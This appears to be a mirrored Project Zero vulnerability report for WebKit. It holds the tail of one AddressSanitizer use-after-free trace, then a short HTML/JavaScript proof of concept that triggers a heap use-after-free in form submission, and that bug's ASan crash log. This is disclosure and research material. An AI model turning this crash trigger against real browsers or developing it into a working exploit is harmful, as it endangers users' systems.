    #4 0x111023fdf in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d2fdf)
    #5 0x111185d9f in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType)::$_2::operator()(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2934d9f)
    #6 0x1111847ec in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29337ec)
    #7 0x111183c28 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932c28)
    #8 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #9 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #10 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #11 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #12 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #13 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #14 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #15 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #16 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #17 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #18 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #19 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #20 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #21 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #22 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #23 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #24 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #25 0x5be2c2a01027  (<unknown module>)
    #26 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #27 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #28 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #29 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)

previously allocated by thread T0 here:
    #0 0x10cf96d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11d427ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11d425d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11d3ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11d3ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10ea577b8 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2067b8)
    #7 0x11100cec5 in WebCore::RenderMultiColumnSpannerPlaceholder::createAnonymous(WebCore::RenderMultiColumnFlowThread*, WebCore::RenderBox&, WebCore::RenderStyle const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27bbec5)
    #8 0x110ffac8e in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9c8e)
    #9 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #10 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #11 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #12 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #13 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #14 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #15 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #16 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #17 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #18 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #19 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #20 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #21 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #22 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #23 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #24 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #25 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #26 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #27 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #28 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #29 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa) in WebCore::RenderObject::previousSibling() const
Shadow bytes around the buggy address:
  0x1c22000111f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011200: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011210: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011230: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c2200011240: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011250: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x1c2200011260: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c2200011290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==732==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1355

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  form.submit();
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>

<!--
=================================================================

ASan log:

=================================================================
==934==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000b9810 at pc 0x000114b6f49c bp 0x7fff511323f0 sp 0x7fff511323e8
READ of size 8 at 0x60c0000b9810 thread T0
==934==WARNING: invalid path to external symbolizer!
==934==WARNING: Failed to use and restart external symbolizer!
    #0 0x114b6f49b in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b)
    #1 0x114daba4b in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd73a4b)
    #2 0x1157ef370 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b7370)
    #3 0x1157ec668 in long long WebCore::IDLOperation<WebCore::JSHTMLFormElement>::call<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b4668)
    #4 0x354389601027  (<unknown module>)
    #5 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #6 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #7 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #8 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #9 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #10 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #11 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #12 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #13 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #14 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #15 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #16 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #17 0x1148d2051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #18 0x1148e1c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #19 0x1147d4b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #20 0x1147cebad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #21 0x114b813ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #22 0x114b7e75c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #23 0x1147ee523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #24 0x114d725d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #25 0x11488f693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #26 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #27 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #28 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #29 0x116d9c661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #30 0x10f5fa43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #31 0x10f5fd6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #32 0x10f5fcbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #33 0x10edee117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #34 0x10ebcd695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #35 0x10ebd6a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #36 0x122bbe8e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #37 0x122bbf1b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #38 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #39 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #40 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #41 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #42 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #43 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #44 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #45 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #46 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #47 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #48 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #49 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #50 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #51 0x10eaca56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #52 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x60c0000b9810 is located 16 bytes inside of 128-byte region [0x60c0000b9800,0x60c0000b9880)
freed by thread T0 here:
    #0 0x111d32294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x122c0e650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #3 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #4 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
    #5 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #6 0x114b2196e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae996e)
    #7 0x114dcbe6d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd93e6d)
    #8 0x114404e08 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cce08)
    #9 0x1144049a2 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc9a2)
    #10 0x1144042ba in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc2ba)
